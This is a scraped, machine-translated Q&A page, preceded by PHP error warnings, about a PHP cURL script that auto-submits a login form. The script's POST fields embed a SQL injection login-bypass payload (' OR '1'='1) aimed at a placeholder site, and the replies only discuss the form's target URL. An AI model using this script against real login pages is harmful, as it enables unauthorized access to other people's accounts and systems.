Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/tensorflow/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Webbot通过php cURL自动提交表单_Php_Curl_Web Crawler_Bots - Fatal编程技术网

Webbot通过php cURL自动提交表单

Webbot通过php cURL自动提交表单,php,curl,web-crawler,bots,Php,Curl,Web Crawler,Bots,我只是尝试通过php和cURL自动登录到登录表单 我有: <?php # get url to form $url = "http://thesite.com/login.php"; $ch = curl_init($url); # initialize that form #run value of $_POST variable in form fields from above url. $params = "username='' OR '1'='1&password='

我只是尝试通过php和cURL自动登录到登录表单

我有:

<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";

## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$response = curl_exec($ch);

    if (!$response) {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch); // make sure we closeany current curl sessions
        die(stripslashes($http_code.' Can\'t connect to server.'));
    }

//curl_close($ch); // close curl session 


## echo the result from cURL 'ing
echo $response;

curl_close($ch);
?>

login.php脚本是否将值提交到另一个URL?检查login.php页面的源代码,查看表单是否提交到另一个URL(表单元素中的action=)。如果是这样,您将希望改用该URL,因为提交值的位置就是该URL。php只是收集值的表单


另一方面,login.php可能提交给它自己,在这种情况下,您有正确的URL。

事实上它有:。我的$url变量应该是什么?看到$params变量有任何错误吗?就我所知,$url似乎很好。